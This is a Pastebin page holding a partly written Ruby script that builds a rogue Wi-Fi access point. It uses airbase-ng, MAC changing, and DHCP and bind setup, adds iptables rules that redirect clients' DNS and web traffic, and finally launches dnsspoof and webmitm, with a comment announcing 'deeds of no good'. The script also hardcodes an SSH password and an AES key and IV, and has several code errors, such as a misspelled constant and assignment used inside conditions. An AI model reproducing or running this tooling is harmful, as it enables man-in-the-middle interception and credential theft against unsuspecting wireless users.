Advertisement
Guest User

Untitled

a guest
Jun 28th, 2017
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 8.04 KB | None | 0 0
  1. #!/usr/bin/ruby
  2. #capn-jack_mr_hai_signature_string
  3.  
  4. #install script
  5. #timed saves to pcap if ACTBAD, selective ports, most useful for tcp reconstruction
  6. require 'socket'
  7. require 'openssl'
  8. require 'rubygems'
  9. require 'net/ssh'
  10.  
  11. #find alternatives to avahi and network manager
  12. #maybe make a WAP connection script?
  13. # iw? ifconfig? both !
  14. #airodump to showcase the area, iwconfig to connect
  15. #dhclient to get an IP
  16.  
  17.  
  18. #ACL from ruby doc
  19. # have it be invoked as a response to snort
  20. #
  21.  
  22. #ssh/encryption config
  23. HOST = '192.168.1.113'
  24. USER = 'Firefly'
  25. PASS = 'snapple1'
  26. KEY = "qwertyuiopasdfghjklzxcvbnmqwerty"
  27. IV = "qwertyuiopasdfghjklzxcvbnmqwerty"
  28. PREAMBLE="begin_encryption"
  29.  
  30. #general config
  31. $ACTBAD=true
  32. $VERBOSE = true
  33. LOGGING= true
  34. MONITOR="mon0"
  35. EXTIF="eth1"
  36. TUNNEL="at0"
  37. INTIF="wlan1"
  38. TTY="/dev/tty10"
  39. CHAN = "9"
  40. ESSID="Firefly"
  41. `alias wpas='sudo killall -9 wpa_supplicant'`
  42. `sudo killall -9 avahi-daemon `
  43. #DHCP config
  44. RANGE="192.168.1.2 192.168.1.254"
  45. SCOPE="192.168.1.0"
  46. GATEWAY="192.168.1.1"
  47. MASK="255.255.255.0"
  48. BROADCAST="192.168.1.255"
  49. DOMAIN="cerberusrouter.net"
  50. DNS1="208.67.222.222"
  51. DNS2="208.67.220.220"
  52.  
  53.  
  54.  
  55. #Handles encryption
  56. #example
  57. #   #preparing my balls for encryption
  58. #   balls = Encryption.new("balls")
  59. #   #encrypting my balls
  60. #   balls.encrypt_payload
  61. class Encryption
  62.     def initialize (string)
  63.         @string = string
  64.     end
  65.     #encrypts
  66.     def encrypt_payload
  67.         cipher = OpenSSL::Cipher::Cipher.new('aes-256-cbc')
  68.         cipher.encrypt
  69.         cipher.key = WAPinit::KEY
  70.         cipher.iv = WAPinit::IV
  71.         cipher.update(@string) + cipher.final
  72.        
  73.     end
  74.     #decrypts
  75.     def decrypt_payload
  76.         cipher = OpenSSL::Cipher::Cipher.new('aes-256-cbc')
  77.         cipher.decrypt
  78.         cipher.key = WAPinit::KEY
  79.         cipher.iv = WAPinit::IV
  80.         cipher.update(@string) + cipher.final
  81.     end
  82.    
  83. end
  84.  
  85. class SSH_handler
  86.   def initialize(user, host, password)  
  87.   `ssh -f #{@user}@#{@host} -L 1337:localhost:22`
  88.   end
  89.  
  90. end
  91.  
  92. #Uploads and Downloads from remote host
  93. class Scp_IO
  94.   def initialize(file ,directory, host, user, password)
  95.     @file     = file
  96.     @dir      = directory
  97.     @host     = host
  98.     @user     = user
  99.     @password = password
  100.   end
  101.  
  102.   def upload
  103.   tx = Net::SCP.start( @host, @user, :password => @password )
  104.   tx.upload!( @file, @dir )
  105.  
  106.   end
  107.   def download
  108.   rx = Net::SCP.start( @host, @user, :password => @password )
  109.   rx.download!( @file , @dir )
  110. end
  111. end
  112.  
  113. #this is a socket client to tx/rx streamimg aes-256 encrypted data.
  114. class Socket_IO_crypt
  115.   def initialize(data, port, host)
  116.   @io_obj = data
  117.   @port = port
  118.   @host = host
  119.   end
  120.  
  121. #listens for incomming connections on @port sending a encrypted string with a preamble  
  122.   def server
  123.     server = TCPServer.open(@port)
  124.     loop {                        
  125.       rx = server.accept
  126.      
  127.       #scans for a preamble and decrypts string sending it to a handler
  128.       if rx.scan(::PREAMBLE)
  129.         encrypted_str = rx.gsub(::PREAMBLE , "")
  130.         decrypted_str = Encryption.new(encrypted_str)
  131.         #send decrypted data to handler, possibly copy of the client?
  132.       else rx.puts "This is not yours"
  133.         rx.close
  134.       end
  135.     }
  136.   end
  137. #shoots an encrypted message to @host at @port with preamble
  138.   def client
  139.       tx = TCPSocket.open(@host, @port)
  140.       data = Encryption.new(@io_obj)
  141.       crypt_data = data.encrypt_payload
  142.      
  143.       tx.puts ::PREAMBLE + crypt_data      
  144.       tx.close
  145.   end
  146. end
  147.  
  148. class Http_server
  149.   def initialize(port, header, max_connect, host)
  150.     @host = host #(insert php server self here)
  151.   end
  152.  
  153. end
  154.  
  155.  
  156. #instances of this class start the show
  157. class WAPinit
  158. `/etc/init.d/networking restart`
  159. #file contents of the bind and DHCP servers and the interface file
  160. interfaces = <<INTERFACE
  161. #loopback interface
  162.     auto lo iface lo inet loopback
  163.  
  164.     # interface external network (internet), configured through dhcp
  165.     auto #{EXTIF}
  166.     iface #{EXTIF} inet dhcp
  167.  
  168.     #interface network 1
  169.     auto #{INTIF}
  170.     iface #{INTIF} inet static
  171.             address #{GATEWAWY}
  172.             netmask #{MASK}
  173.             network #{SCOPE}
  174.             broadcast #{BROADCAST}
  175.  
  176.  
  177.  
  178. INTERFACE
  179.  
  180. bind = <<BIND
  181. options {
  182.     directory "/var/cache/bind";
  183.    
  184.     forwarders {
  185.         #{GATEWAY};
  186.        
  187.     };
  188.  
  189.     auth-nxdomain no;    # conform to RFC1035
  190.     listen-on-v6 { any; };
  191. };
  192. BIND
  193.  
  194.  
  195. dhcp3 = <<DHCP
  196. ddns-update-style interim;                                  
  197. ignore client-updates;
  198.  
  199. subnet #{SCOPE} netmask #{MASK} {
  200.  
  201.         range #{RANGE};                  
  202.            option subnet-mask              #{MASK};    # Default subnet mask to be used by DHCP clients
  203.            option broadcast-address        #{BROADCAST};    # Default broadcast address to be used by DHCP clients
  204.            option routers                  #{GATEWAY};      # Default gateway to be used by DHCP clients
  205.            option domain-name              "#{DOMAIN}";
  206.            option domain-name-servers      #{DNS1}, #{DNS2};           # Default DNS to be used by DHCP clients
  207. }
  208. #         DHCP requests are not forwarded. Applies when there is more than one ethernet device and forwarding is configured.
  209. #       option ipforwarding off;
  210.  
  211.          default-lease-time 21600;                            # Amount of time in seconds that a client may keep the IP address
  212.         max-lease-time 43200;
  213.  
  214.         option time-offset              -18000;              # Eastern Standard Time
  215. #       option ntp-servers              192.168.1.1;         # Default NTP server to be used by DHCP clients
  216. DHCP
  217.  
  218. ifaces = File.open("/etc/network/interfaces", "w")
  219. ifaces.syswrite(interfaces)
  220. `route add -net -n #{SCOPE} netmask #{MASK} dev #{INTIF}`
  221. `route add -net -n 0.0.0.0 dev #{EXTIF}`
  222. printf `route`
  223.  
  224. if `ifconfig`.match(/mon[0-9]/) = true
  225.  
  226.    elsif `ifconfig`.match(/at[0-9]/) = true
  227.  
  228.    elsif `ifconfig`.match(/wlan[0-9]/) = true
  229. #     `sudo killall -9 NetworkManager`
  230.      `sudo killall -9 avahi-daemon`
  231.      `killall -9 wpa_supplicant`
  232.      `airmon-ng start #{INTIF} #{CHAN}`
  233.      `gnome-terminal -e airodump-ng #{MONITOR}`
  234.      `changemac #{EXTIF}`
  235.      `changemac #{INTIF}`
  236.      `killall -9 wpa_supplicant`
  237.      pid = fork do
  238.        `airbase-ng -e #{ESSID} -v -v -c #{CHAN} -I 5000 #{MONITOR} 2>&1`
  239.      end
  240.     Process.detach(pid)
  241.    else printf "Something happened with the interfaces, please configure your system and plug in any devices"
  242.   end
  243. sleep 4
  244. `ifconfig #{TUNNEL} up`
  245. #begin the router-fu!
  246. `modprobe ip_tables`
  247. `modprobe iptable_filter`
  248. `modprobe ip_conntrack`
  249. `modprobe ip_conntrack_ftp`
  250. `modprobe ip_conntrack_irc`
  251. `modprobe iptable_nat`
  252. `modprobe ip_nat_ftp`
  253. `modprobe ip_nat_irc`
  254. `echo "1" > /proc/sys/net/ipv4/ip_dynaddr`
  255. `iptables --table nat --flush`
  256. `iptables --delete-chain`
  257. `iptables --flush`
  258. `iptables -P INPUT ACCEPT`
  259. `iptables -F INPUT `
  260. `iptables -P OUTPUT ACCEPT`
  261. `iptables -F OUTPUT `
  262. `iptables -P FORWARD DROP`
  263. `iptables -F FORWARD `
  264. `iptables -t nat -F`
  265. `iptables -A FORWARD -i #{TUNNEL} -o #{EXTIF} -j ACCEPT`
  266. `iptables -A FORWARD -i #{TUNNEL} -o #{EXTIF} -m state --state ESTABLISHED,RELATED -j ACCEPT`
  267. `iptables -A INPUT -i #{TUNNEL} -m state --state ESTABLISHED,RELATED -j ACCEPT`
  268. `iptables -A INPUT -i lo -s 0/0 -d 0/0 -j ACCEPT`
  269. `iptables -A POSTROUTING -t nat -o #{EXTIF} -j MASQUERADE`
  270. `iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to #{GATEWAY}` #dns
  271. `iptables -t nat -A PREROUTING -i #{TUNNEL} -p tcp --dport 80 --j REDIRECT --to-ports 80`
  272. `echo "1" > /proc/sys/net/ipv4/ip_forward`
  273. `ifconfig at0 up`
  274. `ifconfig at0 #{GATEWAY} netmask #{MASK}`
  275. `ifconfig at0 mtu 1500`
  276. dhcpconf = File.open("/etc/dhcp3/dhcpd.conf", "w")
  277. dhcpconf.syswrite(dhcp3)
  278. `dhcpd3 #{TUNNEL}`
  279. dnsf = File.open("/etc/bind/named.conf.options", "w")
  280. dnsf.syswrite(bind)
  281. printf `/etc/init.d/bind9 restart`
  282. `notify-send "#{ESSID} - Wireless Access Point initialized"`
  283. end
  284.  
  285. #Starting the server
  286. WAPinit.new
  287.  
  288. # so far we have accomplished the task of initiating a WAP, starting DHCP, configuring the routing tables for
  289. #tranparency and configuring the interfaces.
  290.  
  291. #now we begin the deeds of no good
  292.  
  293. `dnsspoof -i #{TUNNEL}`
  294. sleep 1
  295. `webmitm -d -d -d`
  296. sleep 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement